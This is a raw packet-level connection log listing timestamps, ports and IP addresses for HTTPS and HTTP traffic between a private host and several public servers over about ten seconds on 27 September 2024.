Sep 27, 2024 08:18:42.575999975 CEST	443	49745	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:42.576065063 CEST	49745	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:42.660757065 CEST	443	49745	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:42.660785913 CEST	443	49745	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:42.660856009 CEST	49745	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:42.660878897 CEST	443	49745	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:42.660959959 CEST	49745	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:42.661561012 CEST	443	49745	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:42.661581039 CEST	443	49745	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:42.661612988 CEST	49745	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:42.661619902 CEST	443	49745	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:42.661653996 CEST	49745	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:42.661669970 CEST	49745	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:42.661828041 CEST	443	49745	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:42.661849022 CEST	443	49745	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:42.661884069 CEST	49745	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:42.661889076 CEST	443	49745	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:42.661915064 CEST	49745	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:42.661927938 CEST	49745	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:42.662105083 CEST	443	49745	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:42.662123919 CEST	443	49745	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:42.662163019 CEST	49745	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:42.662168026 CEST	443	49745	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:42.662193060 CEST	49745	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:42.662214994 CEST	49745	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:42.662563086 CEST	443	49745	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:42.662585974 CEST	443	49745	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:42.662623882 CEST	49745	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:42.662627935 CEST	443	49745	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:42.662652969 CEST	49745	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:42.662668943 CEST	49745	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:42.662709951 CEST	443	49745	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:42.662731886 CEST	443	49745	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:42.662789106 CEST	49745	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:42.662794113 CEST	443	49745	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:42.662991047 CEST	49745	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:42.663053989 CEST	443	49745	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:42.663075924 CEST	443	49745	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:42.663105011 CEST	49745	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:42.663109064 CEST	443	49745	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:42.663132906 CEST	49745	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:42.663147926 CEST	49745	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:42.663188934 CEST	443	49745	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:42.663213968 CEST	443	49745	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:42.663240910 CEST	49745	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:42.663244963 CEST	443	49745	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:42.663278103 CEST	49745	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:42.663314104 CEST	443	49745	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:42.663378000 CEST	49745	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:42.663567066 CEST	49745	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:42.663583040 CEST	443	49745	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:42.713371038 CEST	49748	443	192.168.2.5	149.56.200.84
Sep 27, 2024 08:18:42.713423967 CEST	443	49748	149.56.200.84	192.168.2.5
Sep 27, 2024 08:18:42.713502884 CEST	49748	443	192.168.2.5	149.56.200.84
Sep 27, 2024 08:18:42.713865995 CEST	49749	443	192.168.2.5	149.56.200.84
Sep 27, 2024 08:18:42.713973999 CEST	443	49749	149.56.200.84	192.168.2.5
Sep 27, 2024 08:18:42.714051008 CEST	49749	443	192.168.2.5	149.56.200.84
Sep 27, 2024 08:18:42.714183092 CEST	49748	443	192.168.2.5	149.56.200.84
Sep 27, 2024 08:18:42.714201927 CEST	443	49748	149.56.200.84	192.168.2.5
Sep 27, 2024 08:18:42.714375019 CEST	49749	443	192.168.2.5	149.56.200.84
Sep 27, 2024 08:18:42.714402914 CEST	443	49749	149.56.200.84	192.168.2.5
Sep 27, 2024 08:18:42.748647928 CEST	443	49746	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:42.753137112 CEST	443	49746	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:42.753211021 CEST	443	49746	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:42.753215075 CEST	49746	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:42.753279924 CEST	49746	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:42.753597021 CEST	49746	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:42.753618956 CEST	443	49746	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:43.237509012 CEST	443	49747	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:43.291415930 CEST	49747	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:43.292803049 CEST	443	49749	149.56.200.84	192.168.2.5
Sep 27, 2024 08:18:43.293292046 CEST	443	49748	149.56.200.84	192.168.2.5
Sep 27, 2024 08:18:43.331876993 CEST	49748	443	192.168.2.5	149.56.200.84
Sep 27, 2024 08:18:43.331897020 CEST	443	49748	149.56.200.84	192.168.2.5
Sep 27, 2024 08:18:43.332041979 CEST	49749	443	192.168.2.5	149.56.200.84
Sep 27, 2024 08:18:43.332108021 CEST	443	49749	149.56.200.84	192.168.2.5
Sep 27, 2024 08:18:43.332133055 CEST	49747	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:43.332139015 CEST	443	49747	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:43.333139896 CEST	443	49748	149.56.200.84	192.168.2.5
Sep 27, 2024 08:18:43.333215952 CEST	49748	443	192.168.2.5	149.56.200.84
Sep 27, 2024 08:18:43.333508015 CEST	443	49747	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:43.334634066 CEST	49747	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:43.334830046 CEST	49748	443	192.168.2.5	149.56.200.84
Sep 27, 2024 08:18:43.334831953 CEST	443	49747	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:43.334899902 CEST	443	49748	149.56.200.84	192.168.2.5
Sep 27, 2024 08:18:43.335093021 CEST	49747	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:43.335345984 CEST	49748	443	192.168.2.5	149.56.200.84
Sep 27, 2024 08:18:43.335352898 CEST	443	49748	149.56.200.84	192.168.2.5
Sep 27, 2024 08:18:43.335829020 CEST	443	49749	149.56.200.84	192.168.2.5
Sep 27, 2024 08:18:43.335905075 CEST	49749	443	192.168.2.5	149.56.200.84
Sep 27, 2024 08:18:43.337547064 CEST	49749	443	192.168.2.5	149.56.200.84
Sep 27, 2024 08:18:43.337732077 CEST	443	49749	149.56.200.84	192.168.2.5
Sep 27, 2024 08:18:43.379403114 CEST	443	49747	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:43.382272959 CEST	49748	443	192.168.2.5	149.56.200.84
Sep 27, 2024 08:18:43.382302046 CEST	49749	443	192.168.2.5	149.56.200.84
Sep 27, 2024 08:18:43.382349968 CEST	443	49749	149.56.200.84	192.168.2.5
Sep 27, 2024 08:18:43.433177948 CEST	49749	443	192.168.2.5	149.56.200.84
Sep 27, 2024 08:18:43.440603971 CEST	443	49748	149.56.200.84	192.168.2.5
Sep 27, 2024 08:18:43.440704107 CEST	443	49748	149.56.200.84	192.168.2.5
Sep 27, 2024 08:18:43.440793037 CEST	49748	443	192.168.2.5	149.56.200.84
Sep 27, 2024 08:18:43.457909107 CEST	49748	443	192.168.2.5	149.56.200.84
Sep 27, 2024 08:18:43.457932949 CEST	443	49748	149.56.200.84	192.168.2.5
Sep 27, 2024 08:18:43.515641928 CEST	443	49747	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:43.515713930 CEST	443	49747	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:43.515779972 CEST	49747	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:43.515789986 CEST	443	49747	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:43.515805960 CEST	443	49747	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:43.515857935 CEST	49747	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:43.516972065 CEST	49747	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:43.516982079 CEST	443	49747	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:43.764446020 CEST	49750	80	192.168.2.5	149.56.200.84
Sep 27, 2024 08:18:43.771269083 CEST	80	49750	149.56.200.84	192.168.2.5
Sep 27, 2024 08:18:43.771353960 CEST	49750	80	192.168.2.5	149.56.200.84
Sep 27, 2024 08:18:43.771562099 CEST	49750	80	192.168.2.5	149.56.200.84
Sep 27, 2024 08:18:43.777599096 CEST	80	49750	149.56.200.84	192.168.2.5
Sep 27, 2024 08:18:44.324810028 CEST	80	49750	149.56.200.84	192.168.2.5
Sep 27, 2024 08:18:44.371999025 CEST	49750	80	192.168.2.5	149.56.200.84
Sep 27, 2024 08:18:44.495548964 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:44.495642900 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:44.495830059 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:44.498785973 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:44.498819113 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:45.099148989 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:45.099507093 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:45.099534035 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:45.100980997 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:45.101048946 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:45.102533102 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:45.102644920 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:45.102695942 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:45.143469095 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:45.148163080 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:45.148200989 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:45.198939085 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:45.769298077 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:45.769318104 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:45.769328117 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:45.769445896 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:45.769445896 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:45.769520044 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:45.771439075 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:45.856905937 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:45.856919050 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:45.856940031 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:45.856950998 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:45.856981993 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:45.856995106 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:45.857034922 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:45.857067108 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:45.857067108 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:45.857100010 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:45.888442993 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:45.888472080 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:45.888525963 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:45.888535976 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:45.888575077 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:45.891465902 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:45.943046093 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:45.943089962 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:45.943150043 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:45.943161011 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:45.943203926 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:45.943226099 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:45.944314957 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:45.944386959 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:45.944395065 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:45.978703976 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:45.978725910 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:45.978820086 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:45.978841066 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:45.980053902 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:45.980074883 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:45.980165005 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:45.980186939 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:45.980207920 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:46.025230885 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:46.029103041 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:46.029129982 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:46.029207945 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:46.029217958 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:46.029251099 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:46.029269934 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:46.030411959 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:46.030433893 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:46.030519962 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:46.030528069 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:46.030594110 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:46.031421900 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:46.031445026 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:46.031492949 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:46.031501055 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:46.031533957 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:46.031543970 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:46.061362982 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:46.061388016 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:46.061415911 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:46.061443090 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:46.061458111 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:46.061494112 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:46.061516047 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:46.061532974 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:46.061641932 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:46.160309076 CEST	49751	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:46.160356045 CEST	443	49751	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:46.868758917 CEST	49753	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:46.868808985 CEST	443	49753	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:46.869028091 CEST	49753	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:46.869509935 CEST	49754	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:46.869518995 CEST	443	49754	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:46.870018005 CEST	49754	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:46.870359898 CEST	49754	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:46.870373011 CEST	443	49754	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:46.870508909 CEST	49753	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:46.870518923 CEST	443	49753	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:47.151005983 CEST	49756	80	192.168.2.5	149.56.200.84
Sep 27, 2024 08:18:47.155970097 CEST	80	49756	149.56.200.84	192.168.2.5
Sep 27, 2024 08:18:47.156045914 CEST	49756	80	192.168.2.5	149.56.200.84
Sep 27, 2024 08:18:47.181444883 CEST	443	49720	142.250.186.164	192.168.2.5
Sep 27, 2024 08:18:47.181510925 CEST	443	49720	142.250.186.164	192.168.2.5
Sep 27, 2024 08:18:47.181608915 CEST	49720	443	192.168.2.5	142.250.186.164
Sep 27, 2024 08:18:47.466240883 CEST	443	49753	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:47.466703892 CEST	49753	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:47.466739893 CEST	443	49753	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:47.467880964 CEST	443	49753	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:47.468688965 CEST	49753	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:47.468867064 CEST	443	49753	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:47.468878984 CEST	49753	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:47.468931913 CEST	49753	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:47.468981981 CEST	443	49753	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:47.480009079 CEST	443	49754	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:47.480233908 CEST	49754	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:47.480246067 CEST	443	49754	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:47.480566025 CEST	443	49754	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:47.480907917 CEST	49754	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:47.480966091 CEST	443	49754	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:47.508344889 CEST	49753	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:47.523591995 CEST	49754	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:48.004775047 CEST	443	49753	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:48.004961014 CEST	443	49753	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:48.005039930 CEST	49753	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:48.006052017 CEST	49753	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:48.006081104 CEST	443	49753	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:48.010371923 CEST	49720	443	192.168.2.5	142.250.186.164
Sep 27, 2024 08:18:48.010392904 CEST	443	49720	142.250.186.164	192.168.2.5
Sep 27, 2024 08:18:48.010798931 CEST	49754	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:48.051405907 CEST	443	49754	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:49.087121964 CEST	443	49754	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:49.087146997 CEST	443	49754	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:49.087156057 CEST	443	49754	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:49.087168932 CEST	443	49754	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:49.087208033 CEST	443	49754	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:49.087222099 CEST	49754	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:49.087250948 CEST	443	49754	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:49.087266922 CEST	49754	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:49.128232002 CEST	49754	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:49.151639938 CEST	49761	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:49.151679993 CEST	443	49761	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:49.151753902 CEST	49761	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:49.152463913 CEST	49761	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:49.152482033 CEST	443	49761	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:49.173206091 CEST	443	49754	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:49.173216105 CEST	443	49754	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:49.173249006 CEST	443	49754	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:49.173279047 CEST	443	49754	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:49.173296928 CEST	49754	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:49.173315048 CEST	443	49754	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:49.173342943 CEST	49754	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:49.173365116 CEST	49754	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:49.241430998 CEST	443	49754	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:49.241449118 CEST	443	49754	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:49.241548061 CEST	49754	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:49.241576910 CEST	443	49754	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:49.241636992 CEST	49754	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:49.260032892 CEST	443	49754	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:49.260113955 CEST	49754	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:49.260121107 CEST	443	49754	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:49.260137081 CEST	443	49754	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:49.260185957 CEST	49754	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:49.260651112 CEST	49754	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:49.260663986 CEST	443	49754	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:49.326185942 CEST	80	49750	149.56.200.84	192.168.2.5
Sep 27, 2024 08:18:49.326241970 CEST	49750	80	192.168.2.5	149.56.200.84
Sep 27, 2024 08:18:49.756695032 CEST	443	49761	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:49.757476091 CEST	49761	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:49.757493973 CEST	443	49761	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:49.761173964 CEST	443	49761	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:49.761261940 CEST	49761	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:49.769433975 CEST	49761	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:49.769526005 CEST	443	49761	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:49.770370960 CEST	49761	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:49.770382881 CEST	443	49761	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:49.823349953 CEST	49761	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:50.658912897 CEST	443	49761	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:50.659003019 CEST	443	49761	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:50.659028053 CEST	443	49761	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:50.659065962 CEST	49761	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:50.659065962 CEST	443	49761	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:50.659085035 CEST	443	49761	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:50.659100056 CEST	49761	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:50.659100056 CEST	443	49761	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:50.659131050 CEST	49761	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:50.659197092 CEST	443	49761	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:50.659228086 CEST	49761	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:50.659244061 CEST	49761	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:50.747500896 CEST	443	49761	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:50.747560024 CEST	443	49761	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:50.747621059 CEST	49761	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:50.747632980 CEST	443	49761	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:50.747673035 CEST	49761	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:50.747687101 CEST	49761	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:50.817471981 CEST	443	49761	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:50.817522049 CEST	443	49761	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:50.817646980 CEST	49761	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:50.817666054 CEST	443	49761	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:50.817704916 CEST	49761	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:50.817723036 CEST	49761	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:50.834513903 CEST	443	49761	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:50.834709883 CEST	443	49761	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:50.834743023 CEST	49761	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:50.834770918 CEST	49761	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:50.955667973 CEST	49750	80	192.168.2.5	149.56.200.84
Sep 27, 2024 08:18:50.960503101 CEST	80	49750	149.56.200.84	192.168.2.5
Sep 27, 2024 08:18:51.036492109 CEST	49761	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:51.036514997 CEST	443	49761	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:51.631624937 CEST	49763	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:51.631680965 CEST	443	49763	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:51.631752014 CEST	49763	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:51.632714033 CEST	49763	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:51.632729053 CEST	443	49763	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:51.698431969 CEST	49764	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:51.698487997 CEST	443	49764	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:51.698561907 CEST	49764	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:51.703983068 CEST	49764	443	192.168.2.5	206.206.125.198
